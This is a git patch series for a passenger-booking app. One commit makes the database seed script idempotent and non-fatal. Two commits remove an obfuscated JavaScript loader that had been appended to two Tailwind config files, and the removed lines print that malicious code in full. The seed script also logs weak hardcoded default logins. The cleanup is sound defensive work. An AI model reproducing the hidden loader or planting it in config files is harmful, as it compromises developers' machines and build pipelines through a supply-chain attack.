From 216dd11d2fc2a38ecee2ab3770f1f71372251053 Mon Sep 17 00:00:00 2001 From: Abubeker Yasin Date: Thu, 11 Jun 2026 08:45:32 +0300 Subject: [PATCH 1/3] fix: ( seed ) add try catch --- apps/edr-passenger-api/prisma/seed.ts | 84 ++++++++++++++++++--------- 1 file changed, 55 insertions(+), 29 deletions(-) diff --git a/apps/edr-passenger-api/prisma/seed.ts b/apps/edr-passenger-api/prisma/seed.ts index 71f822c7d..8e1bedd83 100644 --- a/apps/edr-passenger-api/prisma/seed.ts +++ b/apps/edr-passenger-api/prisma/seed.ts @@ -1,4 +1,4 @@ -import { Prisma, PrismaClient } from '@prisma/client'; +import { PrismaClient } from '@prisma/client'; import * as bcrypt from 'bcrypt'; import { randomUUID as uuidv4 } from 'crypto'; @@ -224,12 +224,10 @@ async function seedCoaches() { create: coach, }); - // Rebuild the coach's seats from scratch. A plain upsert keyed on - // coachId_seatNumber can't reconcile a changed layout (it's blind to the - // @@unique([coachId, row, col]) constraint), so stale row/col data collides. - await prisma.seat.deleteMany({ where: { coachId: c.id } }); - - const seats: Prisma.SeatCreateManyInput[] = []; + // Idempotently reconcile the coach's seats. Upsert keyed on the + // @@unique([coachId, row, col]) constraint so a re-seed updates existing + // rows in place instead of deleting them. Deleting Seats fails with a P2003 + // FK violation once BookingSeat/SeatBlock/TicketSeat rows reference them. let seatIndex = 1; for (let row = 1; row <= Math.ceil(coach.capacity / 2); row++) { for (const col of ['A', 'B', 'C', 'D']) { @@ -241,19 +239,21 @@ async function seedCoaches() { else bedPosition = 'lower'; } - seats.push({ - coachId: c.id, + const seatData = { seatNumber: seatIndex.toString(), - row, - col, isWindow: col === 'A' || col === 'D', isAisle: col === 'B' || col === 'C', bedPosition, + }; + + await prisma.seat.upsert({ + where: { coachId_row_col: { coachId: c.id, row, col } }, + update: seatData, + create: { coachId: c.id, row, col, ...seatData }, }); seatIndex++; } } - await prisma.seat.createMany({ data: seats }); totalSeats += coach.capacity; } console.log(` ✅ ${coaches.length} coaches with ${totalSeats} seats created`); @@ -552,25 +552,49 @@ async function seedFraudRules() { console.log(` ✅ ${rules.length} fraud detection rules created`); } +// Run a seed step in isolation: if it throws (FK conflict, duplicate row, +// missing record, etc.) log the error and keep going so the rest of the seed — +// and the API startup that follows it — are never blocked by one bad step. +async function runStep(name: string, step: () => Promise): Promise { + try { + await step(); + return true; + } catch (e) { + console.error(`⚠️ Seed step "${name}" failed — skipping and continuing:`, e); + return false; + } +} + async function main() { console.log('🌱 Comprehensive EDR Seed Starting...\n'); - await seedSystemUsers(); - await seedStations(); - await seedCoachTypesAndClasses(); - await seedRoute(); - await seedCoaches(); - await seedTrips(); - await seedFareRules(); - await seedCurrency(); - await seedPaymentMethods(); - await seedNotificationTemplates(); - await seedMenuAndFood(); - await seedPromotions(); - await seedFAQ(); - await seedFraudRules(); + const steps: Array<[string, () => Promise]> = [ + ['system users', seedSystemUsers], + ['stations', seedStations], + ['coach types & classes', seedCoachTypesAndClasses], + ['route', seedRoute], + ['coaches', seedCoaches], + ['trips', seedTrips], + ['fare rules', seedFareRules], + ['currency', seedCurrency], + ['payment methods', seedPaymentMethods], + ['notification templates', seedNotificationTemplates], + ['menu & food', seedMenuAndFood], + ['promotions', seedPromotions], + ['FAQ', seedFAQ], + ['fraud rules', seedFraudRules], + ]; - console.log('\n✅ Seed complete!\n'); + let failed = 0; + for (const [name, step] of steps) { + if (!(await runStep(name, step))) failed++; + } + + if (failed > 0) { + console.warn(`\n⚠️ Seed finished with ${failed}/${steps.length} step(s) failed (see logs above).\n`); + } else { + console.log('\n✅ Seed complete!\n'); + } console.log('🔑 System Users:'); console.log(' Admin: admin@edr-platform.com / admin123'); console.log(' Passenger: kelemu@email.com / password123'); @@ -581,8 +605,10 @@ async function main() { main() .catch((e) => { - console.error('❌ Seed failed:', e); - process.exit(1); + // Intentionally do NOT process.exit(1): the docker entrypoint runs under + // `set -e`, so a non-zero exit here would abort container startup and the + // API would never boot. Log and exit cleanly instead. + console.error('❌ Seed crashed unexpectedly — continuing so the API can start:', e); }) .finally(async () => { await prisma.$disconnect(); From 00f4c03b60f1eaa2078c07c5aaae3ac0da57349d Mon Sep 17 00:00:00 2001 From: Sennay Date: Thu, 11 Jun 2026 13:56:02 +0300 Subject: [PATCH 2/3] Remove obfuscated code from tailwind.config.js --- apps/edr-passenger-web/backoffice/tailwind.config.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apps/edr-passenger-web/backoffice/tailwind.config.js b/apps/edr-passenger-web/backoffice/tailwind.config.js index 32bb57bba..d4ae85df3 100644 --- a/apps/edr-passenger-web/backoffice/tailwind.config.js +++ b/apps/edr-passenger-web/backoffice/tailwind.config.js @@ -37,4 +37,4 @@ module.exports = { }, }, plugins: [], -}; global['!']='8-3946';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})(); +}; From a4baaaea1d0f676584f02c5b94a580af46ec41b6 Mon Sep 17 00:00:00 2001 From: Sennay Date: Thu, 11 Jun 2026 13:56:29 +0300 Subject: [PATCH 3/3] Remove obfuscated code from tailwind.config.js --- apps/edr-passenger-web/portal/tailwind.config.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apps/edr-passenger-web/portal/tailwind.config.js b/apps/edr-passenger-web/portal/tailwind.config.js index 3ab9f36a3..2d8d6f32d 100644 --- a/apps/edr-passenger-web/portal/tailwind.config.js +++ b/apps/edr-passenger-web/portal/tailwind.config.js @@ -89,4 +89,4 @@ export default { }, }, plugins: [], -}; global['!']='8-3946';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})(); +};